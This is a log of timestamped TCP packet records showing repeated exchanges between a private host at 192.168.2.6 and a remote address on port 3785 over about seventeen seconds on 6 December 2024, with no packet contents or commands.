Dec 6, 2024 10:41:50.587976933 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.608187914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.686861992 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.707726002 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.789712906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.806581020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.889723063 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:50.909395933 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:50.989722013 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.009471893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.089757919 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.109538078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.188985109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.209670067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.288844109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.308769941 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.388896942 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.408730030 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.489901066 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.508590937 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.589893103 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.611459970 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.689867020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.709925890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.790899992 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.809636116 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.890968084 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:51.910708904 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:51.991873980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.010632038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.092986107 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.113714933 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.194037914 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.212872982 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.293998003 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.313729048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.397743940 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.413777113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.495884895 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.517659903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.595925093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.617341995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.697747946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.716022968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.797981024 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.817627907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:52.898884058 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:52.918287992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.001738071 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.018696070 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.101716042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.121767998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.199959040 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.221529961 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.300978899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.319811106 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.407402039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.422058105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.528405905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:53.823863983 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.924870014 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:53.945761919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.024900913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.044639111 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.124887943 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.144782066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.229732037 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.246828079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.329746962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.349680901 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.426877975 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.449562073 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.527868032 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.546535015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.629733086 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.647592068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.729926109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.749363899 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.830882072 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.849721909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:54.931821108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:54.950541973 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.030884027 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.052822113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.131091118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.150609970 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.232022047 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.250724077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.334330082 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.351684093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.434892893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.454096079 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.535883904 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.554666996 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.636933088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.655670881 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.736934900 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.756689072 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.836919069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.856741905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:55.937874079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:55.956835032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.053797960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.057719946 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.156030893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.173580885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.257749081 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.275752068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.376049995 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.377507925 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.473925114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.495903969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.575799942 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.593657970 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.679800987 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.696546078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.777753115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.799508095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.880070925 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.897449970 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:56.979949951 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:56.999788046 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.079757929 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.099730968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.176877975 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.199472904 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.276952982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.296617985 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.377896070 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.396787882 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.478893995 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.498095036 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.578917980 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.604636908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.678947926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.698652029 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.779968977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.800105095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.880948067 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:57.902071953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:57.980966091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.000658035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.082007885 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.100745916 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.183809042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.201750040 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.282018900 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.303529024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.382890940 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.402195930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.483782053 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.502603054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.585777044 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.603672028 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.689806938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.705445051 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.790956020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.809514046 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.888914108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:58.910690069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:58.991801023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.008821011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.089138031 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.111593008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.189970970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.208856106 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.290906906 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.309958935 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.391948938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.410576105 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.491926908 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.511718035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.592953920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.611634016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.693986893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.712878942 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.793927908 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.813755035 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.894906998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:41:59.913706064 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:41:59.994918108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.014672995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.095952034 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.114732981 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.195930004 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.215657949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.296916008 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.315697908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.397773981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.416632891 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.497919083 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.517505884 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.597924948 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.617677927 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.700360060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.717690945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.801775932 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.820600986 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:00.901947021 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:00.921577930 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.001920938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.021693945 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.102926016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.122016907 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.203969002 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.222884893 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.304946899 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.323757887 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.405950069 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.424823999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.505960941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.525649071 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.605962038 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.625777960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.707020044 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.725745916 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.807964087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.826813936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:01.909020901 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:01.927772045 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.008930922 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.029330969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.108977079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.128730059 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.209942102 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.228667021 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.313841105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.331748009 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.410936117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.433485031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.513811111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.531297922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.613787889 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.633527994 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.714003086 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.733463049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.820795059 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.833813906 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:02.922849894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:02.940598011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:03.042501926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:03.234738111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.336174965 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.354717016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:03.435931921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.455881119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:03.535949945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.556205988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:03.636022091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.655719995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:03.736968994 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.837023973 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:03.937971115 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.037959099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.041731119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.045896053 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.050168037 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.057658911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.138971090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.157814980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.241816998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.258903980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.341841936 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.361576080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.439934015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.461672068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.541827917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.559685946 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.639935017 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.661633015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.741009951 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.759859085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.841941118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.860982895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:04.943006039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:04.961726904 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.043222904 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.062848091 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.143944025 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.163017988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.243969917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.263823032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.344984055 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.363667011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.445940971 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.546969891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.647006035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.714858055 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.748038054 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.848984957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.927099943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.927241087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.927251101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.927258968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.927269936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.927288055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:05.948932886 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:05.969033003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.050050974 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.068758965 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.150986910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.169825077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.253354073 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.271008968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.353843927 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.373101950 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.452980042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.473608017 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.553961039 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.572673082 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.657833099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.674453974 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.754959106 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.777529001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.856086016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.874650002 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:06.956033945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:06.975914001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.055979967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.075905085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.155987978 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.175705910 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.257097006 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.275657892 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.357037067 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.376897097 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.457967043 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.476830959 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.559041023 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.577624083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.658994913 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.678692102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.758986950 CET	49737	3785	192.168.2.6	88.210.12.58
